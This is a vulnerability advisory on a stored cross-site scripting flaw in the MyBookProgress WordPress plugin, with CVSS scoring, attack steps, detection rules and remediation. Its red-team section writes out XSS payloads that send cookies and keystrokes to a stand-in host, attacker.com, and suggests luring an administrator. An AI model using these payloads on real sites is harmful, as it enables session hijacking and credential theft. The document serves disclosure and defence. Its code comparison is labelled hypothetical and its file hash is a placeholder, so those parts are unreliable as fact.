CVE-2025-30982

Executive Summary

CVE-2025-30982 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the MyBookProgress by Stormhill Media WordPress plugin, affecting versions up to and including 1.0.8. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into the plugin's pages. When a site administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The risk is primarily to WordPress site owners who have installed the plugin. Since the plugin is unmaintained and no patch is available, users are advised to remove or disable the plugin immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The attack is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs contributor-level access or higher.
• User Interaction (UI): Required – The victim must visit the compromised page.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited ability to disrupt service.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS in a WordPress admin context can lead to full site compromise if an administrator views the malicious content.

Deep Dive & Mechanics

The vulnerability exists in the MyBookProgress plugin, which allows users to track their reading progress. The plugin likely accepts user input for fields such as book titles, progress percentages, or notes, and then displays this data on a public or admin-facing page. The input is not properly sanitized or escaped before being rendered in the browser.

Attack Flow:

1. An attacker with contributor-level access (or higher) logs into the WordPress admin panel.
2. The attacker navigates to the MyBookProgress settings or submission form.
3. The attacker injects a malicious payload into an input field, such as:

   <script>alert('XSS')</script>
   

   or a more sophisticated payload like:

   <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
   

4. The plugin stores this input in the WordPress database without proper sanitization.
5. When an administrator or other user views the page that displays the stored data, the malicious script executes in their browser.
6. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS remediation.

Vulnerable Code (Example):

<?php
// Vulnerable: Direct output without sanitization
echo "<div class='book-title'>" . $book_title . "</div>";
?>

Patched Code (Example):

<?php
// Patched: Use WordPress escaping functions
echo "<div class='book-title'>" . esc_html( $book_title ) . "</div>";
?>

The patched version uses esc_html() to convert special characters to HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with the MyBookProgress plugin (version <= 1.0.8) installed and activated.
• A user account with contributor-level privileges or higher.

Steps:

1. Log in to the WordPress admin panel as a contributor.
2. Navigate to the MyBookProgress plugin page (e.g., /wp-admin/admin.php?page=mybookprogress).
3. In the "Book Title" or "Progress" field, inject the following payload:

   <script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
   

4. Save the entry.
5. Craft a social engineering email or message to an administrator, enticing them to view the MyBookProgress page.
6. When the administrator views the page, their session cookie is sent to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
}
</script>

Blue Team (Defensive)

Detection:

• Monitor WordPress admin logs for unusual input patterns in the MyBookProgress plugin.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the WordPress database for suspicious entries in the wp_postmeta or custom plugin tables:

  SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script%';
  

• Review recent changes to plugin files for unauthorized modifications.

Containment:

• Immediately disable or remove the MyBookProgress plugin.
• If removal is not possible, restrict access to the plugin's admin pages to trusted users only.
• Rotate all admin session cookies and passwords.

Indicators of Compromise (IOCs)

• File Hashes (Plugin Files):
  • mybookprogress.php – SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • Outbound connections to known malicious domains (e.g., attacker.com).
  • HTTP requests containing document.cookie in the query string.
• Database Indicators:
  • Entries in wp_postmeta or custom plugin tables containing <script> tags.
• Log Indicators:
  • WordPress debug logs showing PHP warnings related to esc_html or wp_kses.

Detection Engineering

YARA Rule

rule CVE_2025_30982_MyBookProgress_XSS {
    meta:
        description = "Detects malicious XSS payloads targeting MyBookProgress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30982"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $plugin = "mybookprogress"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: Stored XSS in MyBookProgress Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in MyBookProgress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/wp-admin/admin.php'
        http.body|contains: 'mybookprogress'
        http.body|re: '(<script|<img.*onerror|<svg.*onload)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in book descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30982 MyBookProgress Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"mybookprogress"; http_client_body; pcre:"/(<script|<img.*onerror|<svg.*onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or Remove the Plugin: Since no patch is available, the safest action is to deactivate and delete the MyBookProgress plugin from all WordPress installations.
2. Audit User Accounts: Review all user accounts with contributor-level access or higher. Remove any suspicious or unnecessary accounts.
3. Scan for Compromise: Use a security plugin (e.g., Wordfence, Sucuri) to scan the site for injected scripts or backdoors.

Long-Term Mitigations:

• Web Application Firewall (WAF): Deploy a WAF with rules to block common XSS payloads.
• Content Security Policy (CSP): Implement a strict CSP header that only allows scripts from trusted sources.
• Input Validation: Ensure all user inputs are validated and sanitized using WordPress functions like sanitize_text_field(), esc_html(), and wp_kses_post().
• Regular Updates: Keep all plugins, themes, and WordPress core updated to the latest versions.

Vendor Contact: Attempt to contact Stormhill Media for a patch. If no response, consider forking the plugin or finding an alternative.

Valters IT
Securing Digital Frontiers